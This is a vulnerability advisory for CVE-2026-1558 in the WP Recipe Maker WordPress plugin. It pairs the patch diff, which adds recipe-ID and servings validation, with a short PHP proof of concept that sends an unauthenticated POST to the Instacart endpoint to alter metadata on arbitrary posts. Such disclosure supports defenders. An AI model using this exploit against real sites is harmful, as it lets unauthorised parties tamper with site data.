CVE-2026-1558: WP Recipe Maker <= 10.3.2 – Insecure Direct Object Reference to Unauthenticated Arbitrary Post Metadata Modification via 'recipeId' Parameter (wp-recipe-maker)

--- a/wp-recipe-maker/includes/class-wp-recipe-maker.php
+++ b/wp-recipe-maker/includes/class-wp-recipe-maker.php
@@ -31,7 +31,7 @@
 	 * @since    1.0.0
 	 */
 	private function define_constants() {
-		define( 'WPRM_VERSION', '10.3.2' );
+		define( 'WPRM_VERSION', '10.3.3' );
 		define( 'WPRM_PREMIUM_VERSION_RECOMMENDED', '10.3.0' );
 		define( 'WPRM_PREMIUM_VERSION_REQUIRED', '7.0.0' );
 		define( 'WPRM_POST_TYPE', 'wprm_recipe' );
--- a/wp-recipe-maker/includes/public/api/class-wprm-api-integrations.php
+++ b/wp-recipe-maker/includes/public/api/class-wprm-api-integrations.php
@@ -56,6 +56,9 @@

 		if ( $data ) {
 			$link = WPRM_Instacart::get_link_for_recipe( $data );
+			if ( is_wp_error( $link ) ) {
+				return $link;
+			}
 			return rest_ensure_response( $link );
 		}

--- a/wp-recipe-maker/includes/public/class-wprm-instacart.php
+++ b/wp-recipe-maker/includes/public/class-wprm-instacart.php
@@ -47,12 +47,46 @@
 	 *
 	 * @since	9.8.0
 	 * @param	array $data Recipe data.
+	 * @return	string|WP_Error Instacart URL or error on validation failure.
 	 */
 	public static function get_link_for_recipe( $data ) {
 		$recipe_id = intval( $data['recipeId'] );
+
+		// Validate recipeId: post must exist, be a published recipe.
+		$post = get_post( $recipe_id );
+		if ( ! $post ) {
+			return new WP_Error( 'invalid_recipe', __( 'The specified recipe does not exist.', 'wp-recipe-maker' ), array( 'status' => 404 ) );
+		}
+		if ( WPRM_POST_TYPE !== get_post_type( $recipe_id ) ) {
+			return new WP_Error( 'invalid_recipe', __( 'The specified recipe does not exist.', 'wp-recipe-maker' ), array( 'status' => 404 ) );
+		}
+		if ( 'publish' !== get_post_status( $recipe_id ) ) {
+			return new WP_Error( 'invalid_recipe', __( 'The specified recipe does not exist.', 'wp-recipe-maker' ), array( 'status' => 404 ) );
+		}
+
 		$servings_system_combination = sanitize_key( $data['servingsSystemCombination'] );

-		// Look for existing combination first.
+		// Validate servingsSystemCombination: format must be servings-system, system 1 or 2, servings integer in range.
+		$parts = explode( '-', $servings_system_combination, 2 );
+		if ( 2 !== count( $parts ) ) {
+			return new WP_Error( 'invalid_combination', __( 'Invalid servings and system combination.', 'wp-recipe-maker' ), array( 'status' => 400 ) );
+		}
+		$system = isset( $parts[1] ) ? $parts[1] : '';
+		if ( ! in_array( $system, array( '1', '2' ), true ) ) {
+			return new WP_Error( 'invalid_combination', __( 'Invalid servings and system combination.', 'wp-recipe-maker' ), array( 'status' => 400 ) );
+		}
+		$servings_raw = isset( $parts[0] ) ? $parts[0] : '';
+		$requested_servings = WPRM_Recipe_Parser::parse_quantity( $servings_raw );
+		if ( ! is_numeric( $requested_servings ) || $requested_servings !== (int) $requested_servings || 1 > $requested_servings ) {
+			return new WP_Error( 'invalid_combination', __( 'Invalid servings and system combination.', 'wp-recipe-maker' ), array( 'status' => 400 ) );
+		}
+		$requested_servings = (int) $requested_servings;
+		$original_parsed = WPRM_Recipe_Parser::parse_quantity( get_post_meta( $recipe_id, 'wprm_servings', true ) );
+		$original_parsed = is_numeric( $original_parsed ) && 0 < $original_parsed ? (int) $original_parsed : 1;
+		$max_servings = max( 100, $original_parsed * 4 );
+		$within_cache_range = ( $requested_servings <= $max_servings );
+
+		// Look for existing combination first (only in-range combinations are cached).
 		$existing_combinations = get_post_meta( $recipe_id, 'wprm_instacart_combinations', true );
 		$existing_combinations = $existing_combinations ? maybe_unserialize( $existing_combinations ) : array();

@@ -102,12 +136,14 @@
 		// Call Instacart API.
 		$instacart_response = self::call_instacart_api( 'recipe', $api_data );

-		// Store result for future use.
-		$existing_combinations[ $servings_system_combination ] = array(
-			'response' => $instacart_response,
-			'timestamp' => time(),
-		);
-		update_post_meta( $recipe_id, 'wprm_instacart_combinations', $existing_combinations );
+		// Store result for future use only when within the logical range (out-of-range requests still get the link but are not cached).
+		if ( $within_cache_range ) {
+			$existing_combinations[ $servings_system_combination ] = array(
+				'response' => $instacart_response,
+				'timestamp' => time(),
+			);
+			update_post_meta( $recipe_id, 'wprm_instacart_combinations', $existing_combinations );
+		}

 		// Return Instacart URL.
 		return self::get_link_from_response( $instacart_response );
--- a/wp-recipe-maker/wp-recipe-maker.php
+++ b/wp-recipe-maker/wp-recipe-maker.php
@@ -15,7 +15,7 @@
  * Plugin Name:       WP Recipe Maker
  * Plugin URI:        https://bootstrapped.ventures/wp-recipe-maker/
  * Description:       The easy and user-friendly recipe plugin for everyone. Automatic JSON-LD metadata for better SEO will get you more visitors!
- * Version:           10.3.2
+ * Version:           10.3.3
  * Author:            Bootstrapped Ventures
  * Author URI:        https://bootstrapped.ventures/
  * License:           GPL-2.0+

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1558 - WP Recipe Maker <= 10.3.2 - Insecure Direct Object Reference to Unauthenticated Arbitrary Post Metadata Modification via 'recipeId' Parameter
<?php

$target_url = 'http://vulnerable-site.example.com'; // CHANGE THIS

// Target any post ID present on the site (e.g., 1).
$recipe_id = 1;
// The servingsSystemCombination parameter is required by the endpoint.
$servings_system = '4-1';

$api_endpoint = '/wp-json/wp-recipe-maker/v1/integrations/instacart';
$full_url = $target_url . $api_endpoint;

$payload = [
    'recipeId' => $recipe_id,
    'servingsSystemCombination' => $servings_system,
];

$ch = curl_init($full_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($payload));
curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/json']);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// The endpoint accepts unauthenticated requests.

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "Sent POST to: $full_urln";
echo "Payload: " . json_encode($payload) . "n";
echo "HTTP Code: $http_coden";
echo "Response: $responsen";

// A successful call will update the postmeta for the target post ID.
// Verify by checking the database for the 'wprm_instacart_combinations' meta key.

?>